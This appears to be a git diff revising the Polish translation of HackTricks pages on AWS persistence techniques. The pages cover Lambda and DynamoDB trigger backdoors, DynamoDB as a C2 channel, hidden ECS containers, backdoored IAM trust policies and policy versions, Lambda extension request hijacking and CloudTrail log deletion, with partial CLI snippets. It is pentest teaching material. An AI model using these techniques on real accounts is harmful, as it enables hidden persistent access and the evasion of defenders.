- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
-- Opcjonalne, jeśli klient generuje analizy dla Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
+- Opcjonalne, jeśli klient generuje analizatory za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
- **access-analyzer:DeleteAnalyzer**
-- Opcjonalne, jeśli klient usuwa analizy za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
+- Opcjonalne, jeśli klient usuwa analizatory za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 7ed50bac0..91e65644c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -12,11 +12,11 @@ Aby uzyskać więcej informacji, przejdź do:
### Polityka zasobów
-Zmień politykę zasobów bramy API, aby przyznać sobie dostęp do nich.
+Zmień politykę zasobów API gateway(a), aby przyznać sobie dostęp do nich.
### Modyfikacja autoryzatorów Lambda
-Zmień kod autoryzatorów Lambda, aby przyznać sobie dostęp do wszystkich punktów końcowych.\
+Zmień kod autoryzatorów lambda, aby przyznać sobie dostęp do wszystkich punktów końcowych.\
Lub po prostu usuń użycie autoryzatora.
### Uprawnienia IAM
@@ -26,7 +26,7 @@ Lub po prostu usuń użycie autoryzatora.
### Klucze API
-Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać ciągłość lub nawet stworzyć nowe.\
+Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać dostęp lub nawet stworzyć nowe.\
Lub po prostu usuń użycie kluczy API.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index 757266601..83ce6b8dd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,7 +4,7 @@
## Cognito
-Aby uzyskać więcej informacji, uzyskaj dostęp do:
+Aby uzyskać więcej informacji, przejdź do:
{{#ref}}
../aws-services/aws-cognito-enum/
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 27bff7547..196d3cd74 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, przejdź do:
### Wyzwalacze DynamoDB z tylnym wejściem Lambda
-Korzystając z wyzwalaczy DynamoDB, atakujący może stworzyć **ukryte tylne wejście** poprzez powiązanie złośliwej funkcji Lambda z tabelą. Funkcja Lambda może być wywoływana, gdy element jest dodawany, modyfikowany lub usuwany, co pozwala atakującemu na wykonanie dowolnego kodu w ramach konta AWS.
+Korzystając z wyzwalaczy DynamoDB, atakujący może stworzyć **ukryte tylne wejście** poprzez powiązanie złośliwej funkcji Lambda z tabelą. Funkcja Lambda może być wyzwalana, gdy element jest dodawany, modyfikowany lub usuwany, co pozwala atakującemu na wykonanie dowolnego kodu w ramach konta AWS.
```bash
# Create a malicious Lambda function
aws lambda create-function \
@@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \
--event-source \
--region
```
-Aby utrzymać persistencję, atakujący może tworzyć lub modyfikować elementy w tabeli DynamoDB, co spowoduje uruchomienie złośliwej funkcji Lambda. Umożliwia to atakującemu wykonywanie kodu w ramach konta AWS bez bezpośredniej interakcji z funkcją Lambda.
+Aby utrzymać persistencję, atakujący może tworzyć lub modyfikować elementy w tabeli DynamoDB, co spowoduje wywołanie złośliwej funkcji Lambda. Umożliwia to atakującemu wykonywanie kodu w ramach konta AWS bez bezpośredniej interakcji z funkcją Lambda.
### DynamoDB jako kanał C2
-Atakujący może użyć tabeli DynamoDB jako **kanału dowodzenia i kontroli (C2)**, tworząc elementy zawierające polecenia i używając skompromitowanych instancji lub funkcji Lambda do pobierania i wykonywania tych poleceń.
+Atakujący może używać tabeli DynamoDB jako **kanału dowodzenia i kontroli (C2)**, tworząc elementy zawierające polecenia i używając skompromitowanych instancji lub funkcji Lambda do pobierania i wykonywania tych poleceń.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index 491b744ee..8f891974c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Śledzenie połączeń grupy zabezpieczeń
+### Utrzymywanie połączenia grupy zabezpieczeń
-Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na cały podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**.
+Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na całą podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**.
Jeśli atakujący miał **odwróconą powłokę pochodzącą z maszyny**, nawet jeśli SG zostanie zmodyfikowane, aby nie zezwalać na ruch przychodzący lub wychodzący, **połączenie nie zostanie zakończone z powodu** [**Śledzenia połączeń grupy zabezpieczeń**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 00260f215..311bb3ba8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
### Ukryty obraz Docker z złośliwym kodem
-Napastnik mógłby **przesłać obraz Docker zawierający złośliwy kod** do repozytorium ECR i użyć go do utrzymania persistencji w docelowym koncie AWS. Napastnik mógłby następnie wdrożyć złośliwy obraz do różnych usług w ramach konta, takich jak Amazon ECS lub EKS, w sposób ukryty.
+Atakujący mógłby **przesłać obraz Docker zawierający złośliwy kod** do repozytorium ECR i użyć go do utrzymania persistencji w docelowym koncie AWS. Atakujący mógłby następnie wdrożyć złośliwy obraz do różnych usług w ramach konta, takich jak Amazon ECS lub EKS, w sposób ukryty.
### Polityka repozytorium
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 99ab05dbe..31be46169 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -15,7 +15,7 @@ Aby uzyskać więcej informacji, sprawdź:
> [!NOTE]
> TODO: Test
-Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rekonesans, eksfiltrację danych lub utrzymywać persistencję w koncie AWS.
+Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rozpoznanie, eksfiltrację danych lub utrzymywać persistencję w koncie AWS.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
> [!NOTE]
> TODO: Test
-Atakujący może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymywania dostępu i wykonywania złośliwych działań.
+Napastnik może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymania dostępu i wykonywania złośliwych działań.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition
}
]'
```
-### Undocumented ECS Service
+### Niedokumentowana usługa ECS
> [!NOTE]
> TODO: Test
-Atakujący może stworzyć **undocumented ECS service**, który uruchamia złośliwe zadanie. Ustawiając pożądaną liczbę zadań na minimum i wyłączając logowanie, staje się trudniej administratorom zauważyć złośliwą usługę.
+Napastnik może stworzyć **niedokumentowaną usługę ECS**, która uruchamia złośliwe zadanie. Ustawiając pożądaną liczbę zadań na minimum i wyłączając logowanie, staje się trudniej dla administratorów zauważyć złośliwą usługę.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index 2acc6be13..b326c0a30 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
../aws-services/aws-efs-enum.md
{{#endref}}
-### Modyfikacja polityki zasobów / grup zabezpieczeń
+### Modyfikacja polityki zasobów / grup bezpieczeństwa
-Modyfikując **politykę zasobów i/lub grupy zabezpieczeń**, możesz spróbować utrzymać dostęp do systemu plików.
+Modyfikując **politykę zasobów i/lub grupy bezpieczeństwa**, możesz spróbować utrzymać dostęp do systemu plików.
### Utwórz punkt dostępu
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 66045aa49..b93cca2b9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
### Utrzymywanie dostępu w instancji
-Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu wewnątrz instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**.
+Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu w instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**.
### Tylnie drzwi w wersji
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index 7b5125804..18a72bb3b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -21,7 +21,7 @@ Aby uzyskać więcej informacji, przejdź do:
### Polityki zaufania ról backdoor
-Możesz dodać backdoor do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich):
+Możesz wprowadzić backdoor do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich):
```json
{
"Version": "2012-10-17",
@@ -36,12 +36,12 @@ Możesz dodać backdoor do polityki zaufania, aby móc ją przyjąć dla zewnęt
]
}
```
-### Backdoor Policy Version
+### Wersja Polityki Backdoor
-Nadaj uprawnienia Administratora do polityki, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy.
+Nadaj uprawnienia Administratora polityce, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy.
-### Backdoor / Create Identity Provider
+### Backdoor / Utwórz Dostawcę Tożsamości
-Jeśli konto już ufa wspólnemu dostawcy tożsamości (takiemu jak Github), warunki zaufania mogą zostać zwiększone, aby atakujący mógł je wykorzystać.
+Jeśli konto już ufa powszechnemu dostawcy tożsamości (takiemu jak Github), warunki zaufania mogą być zwiększone, aby atakujący mógł je wykorzystać.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index d51aeddf2..314cf0ec8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,4 +1,4 @@
-# AWS - Lambda Persistence
+# AWS - Utrzymywanie w Lambda
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,15 +10,15 @@ Aby uzyskać więcej informacji, sprawdź:
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Lambda Layer Persistence
+### Utrzymywanie warstwy Lambda
-Możliwe jest **wprowadzenie/tylnych drzwi do warstwy, aby wykonać dowolny kod** podczas wykonywania lambdy w sposób ukryty:
+Możliwe jest **wprowadzenie/tylnych drzwi do warstwy w celu wykonania dowolnego kodu** podczas wykonywania lambdy w sposób ukryty:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Lambda Extension Persistence
+### Utrzymywanie rozszerzenia Lambda
Wykorzystując warstwy Lambda, możliwe jest również nadużywanie rozszerzeń i utrzymywanie się w lambdzie, a także kradzież i modyfikacja żądań.
@@ -26,21 +26,21 @@ Wykorzystując warstwy Lambda, możliwe jest również nadużywanie rozszerzeń
aws-abusing-lambda-extensions.md
{{#endref}}
-### Via resource policies
+### Poprzez polityki zasobów
Możliwe jest przyznanie dostępu do różnych akcji lambdy (takich jak wywołanie lub aktualizacja kodu) zewnętrznym kontom:
-### Versions, Aliases & Weights
+### Wersje, aliasy i wagi
Lambda może mieć **różne wersje** (z różnym kodem w każdej wersji).\
-Następnie możesz utworzyć **różne aliasy z różnymi wersjami** lambdy i ustawić różne wagi dla każdej z nich.\
-W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 tylko z legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
+Następnie możesz utworzyć **różne aliasy z różnymi wersjami** lambdy i ustawić różne wagi dla każdej.\
+W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 z tylko legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
-### Version Backdoor + API Gateway
+### Tylnie drzwi wersji + API Gateway
1. Skopiuj oryginalny kod Lambdy
2. **Utwórz nową wersję z tylnymi drzwiami** oryginalnego kodu (lub tylko z złośliwym kodem). Opublikuj i **wdroż tę wersję** do $LATEST
@@ -49,16 +49,16 @@ W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i *
1. To ukryje kod z tylnymi drzwiami w poprzedniej wersji
4. Przejdź do API Gateway i **utwórz nową metodę POST** (lub wybierz inną metodę), która wykona wersję lambdy z tylnymi drzwiami: `arn:aws:lambda:us-east-1::function::1`
1. Zauważ końcowe :1 w arn **wskazujące wersję funkcji** (wersja 1 będzie wersją z tylnymi drzwiami w tym scenariuszu).
-5. Wybierz utworzoną metodę POST i w Akcjach wybierz **`Deploy API`**
-6. Teraz, gdy **wywołasz funkcję za pomocą POST, twoje Tylne Drzwi** zostaną wywołane
+5. Wybierz utworzoną metodę POST i w Akcjach wybierz **`Wdróż API`**
+6. Teraz, gdy **wywołasz funkcję za pomocą POST, twoje tylne drzwi** zostaną wywołane
-### Cron/Event actuator
+### Aktywator Cron/Wydarzeń
-Fakt, że możesz sprawić, aby **funkcje lambda działały, gdy coś się wydarzy lub gdy upłynie czas**, sprawia, że lambda jest miłym i powszechnym sposobem na uzyskanie trwałości i unikanie wykrycia.\
+Fakt, że możesz **uruchamiać funkcje lambda, gdy coś się wydarzy lub gdy upłynie czas**, sprawia, że lambda jest miłym i powszechnym sposobem na uzyskanie utrzymania i unikanie wykrycia.\
Oto kilka pomysłów, aby uczynić swoją **obecność w AWS bardziej ukrytą, tworząc lambdy**.
- Za każdym razem, gdy tworzony jest nowy użytkownik, lambda generuje nowy klucz użytkownika i wysyła go do atakującego.
- Za każdym razem, gdy tworzona jest nowa rola, lambda przyznaje uprawnienia do przyjęcia roli skompromitowanym użytkownikom.
-- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmień je
+- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmodyfikuj je
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index b53895013..d9896b473 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,32 +1,32 @@
-# AWS - Wykorzystywanie rozszerzeń Lambda
+# AWS - Wykorzystywanie Rozszerzeń Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Rozszerzenia Lambda
-Rozszerzenia Lambda wzbogacają funkcje, integrując się z różnymi **narzędziami do monitorowania, obserwowalności, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub włączane w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**.
+Rozszerzenia Lambda wzbogacają funkcje poprzez integrację z różnymi **narzędziami do monitorowania, obserwowalności, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub włączane w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**.
- **Wewnętrzne rozszerzenia** łączą się z procesem uruchomieniowym, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych środowisk uruchomieniowych, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**.
-- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność operacyjną z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowymi środowiskami uruchomieniowymi**.
+- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowymi środowiskami uruchomieniowymi**.
Aby uzyskać więcej informacji o [**tym, jak działają rozszerzenia lambda, sprawdź dokumentację**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### Zewnętrzne rozszerzenie do utrzymywania, kradzieży żądań i modyfikacji żądań
+### Zewnętrzne Rozszerzenie do Utrzymywania, Kradzieży Żądań i Modyfikacji Żądań
To jest podsumowanie techniki zaproponowanej w tym poście: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-Stwierdzono, że domyślny kernel Linux w środowisku uruchomieniowym Lambda jest skompilowany z wywołaniami systemowymi “**process_vm_readv**” i “**process_vm_writev**”. A wszystkie procesy działają z tym samym identyfikatorem użytkownika, nawet nowy proces utworzony dla zewnętrznego rozszerzenia. **Oznacza to, że zewnętrzne rozszerzenie ma pełny dostęp do odczytu i zapisu pamięci sterty Rapid, zgodnie z założeniem.**
+Stwierdzono, że domyślny kernel Linux w środowisku uruchomieniowym Lambda jest skompilowany z wywołaniami systemowymi “**process_vm_readv**” i “**process_vm_writev**”. A wszystkie procesy działają z tym samym identyfikatorem użytkownika, nawet nowy proces utworzony dla zewnętrznego rozszerzenia. **Oznacza to, że zewnętrzne rozszerzenie ma pełny dostęp do pamięci sterty Rapid, zgodnie z projektem.**
Ponadto, podczas gdy rozszerzenia Lambda mają możliwość **subskrybowania zdarzeń wywołania**, AWS nie ujawnia surowych danych tym rozszerzeniom. Zapewnia to, że **rozszerzenia nie mogą uzyskać dostępu do wrażliwych informacji** przesyłanych za pośrednictwem żądania HTTP.
-Proces Init (Rapid) monitoruje wszystkie żądania API pod adresem [http://127.0.0.1:9001](http://127.0.0.1:9001/), podczas gdy rozszerzenia Lambda są inicjowane i uruchamiane przed wykonaniem jakiegokolwiek kodu uruchomieniowego, ale po Rapid.
+Proces Init (Rapid) monitoruje wszystkie żądania API pod adresem [http://127.0.0.1:9001](http://127.0.0.1:9001/) podczas gdy rozszerzenia Lambda są inicjowane i uruchamiane przed wykonaniem jakiegokolwiek kodu uruchomieniowego, ale po Rapid.
Zmienna **`AWS_LAMBDA_RUNTIME_API`** wskazuje **adres IP** i **numer portu** API Rapid dla **procesów uruchomieniowych podrzędnych** i dodatkowych rozszerzeń.
> [!WARNING]
-> Zmieniając zmienną środowiskową **`AWS_LAMBDA_RUNTIME_API`** na **`port`**, do którego mamy dostęp, możliwe jest przechwycenie wszystkich działań w ramach uruchomienia Lambda (**man-in-the-middle**). Jest to możliwe, ponieważ rozszerzenie działa z tymi samymi uprawnieniami co Rapid Init, a kernel systemu pozwala na **modyfikację pamięci procesów**, co umożliwia zmianę numeru portu.
+> Zmieniając zmienną środowiskową **`AWS_LAMBDA_RUNTIME_API`** na **`port`**, do którego mamy dostęp, możliwe jest przechwycenie wszystkich działań w ramach uruchomienia Lambda (**man-in-the-middle**). Jest to możliwe, ponieważ rozszerzenie działa z tymi samymi uprawnieniami co Rapid Init, a kernel systemu pozwala na **modyfikację pamięci procesów**, umożliwiając zmianę numeru portu.
Ponieważ **rozszerzenia działają przed jakimkolwiek kodem uruchomieniowym**, modyfikacja zmiennej środowiskowej wpłynie na proces uruchomieniowy (np. Python, Java, Node, Ruby) w momencie jego uruchomienia. Ponadto, **rozszerzenia załadowane po** naszym, które polegają na tej zmiennej, również będą kierować przez nasze rozszerzenie. Ta konfiguracja może umożliwić złośliwemu oprogramowaniu całkowite ominięcie środków bezpieczeństwa lub rozszerzeń rejestrujących bezpośrednio w środowisku uruchomieniowym.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index 3abc33a6a..36c894f5a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -1,32 +1,32 @@
-# AWS - Lambda Layers Persistence
+# AWS - Utrzymywanie warstw Lambda
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Layers
+## Warstwy Lambda
Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowy runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne.
-Możliwe jest dołączenie do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wypakowywana do katalogu `/opt`** w środowisku wykonawczym.
+Możliwe jest dołączenie do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wyodrębniana do katalogu `/opt`** w środowisku wykonawczym.
-Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal używać wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
+Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swój preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.
-### Python load path
+### Ścieżka ładowania Pythona
-Ścieżka ładowania, którą Python będzie używał w lambda, jest następująca:
+Ścieżka ładowania, którą Python będzie używać w lambda, jest następująca:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Sprawdź, jak **drugie** i trzecie **pozycje** są zajmowane przez katalogi, w których **lambda layers** dekompresują swoje pliki: **`/opt/python/lib/python3.9/site-packages`** i **`/opt/python`**
> [!CAUTION]
-> Jeśli atakujący zdołałby **wprowadzić backdoora** do używanej **warstwy lambda** lub **dodać jedną**, która będzie **wykonywać dowolny kod, gdy załadowana zostanie wspólna biblioteka**, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda.
+> Jeśli atakujący zdołałby **wprowadzić tylne drzwi** do używanej **warstwy lambda** lub **dodać jedną**, która będzie **wykonywać dowolny kod, gdy załadowana jest wspólna biblioteka**, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda.
Dlatego wymagania są następujące:
- **Sprawdź biblioteki**, które są **ładowane** przez kod ofiary
-- Utwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę.
+- Stwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę.
### Wstępnie załadowane biblioteki
@@ -44,13 +44,13 @@ return {
'body': str(sys.modules.keys())
}
```
-A oto **lista** (sprawdź, czy takie biblioteki jak `os` lub `json` są już dostępne)
+A oto **lista** (sprawdź, czy biblioteki takie jak `os` lub `json` są już tam)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 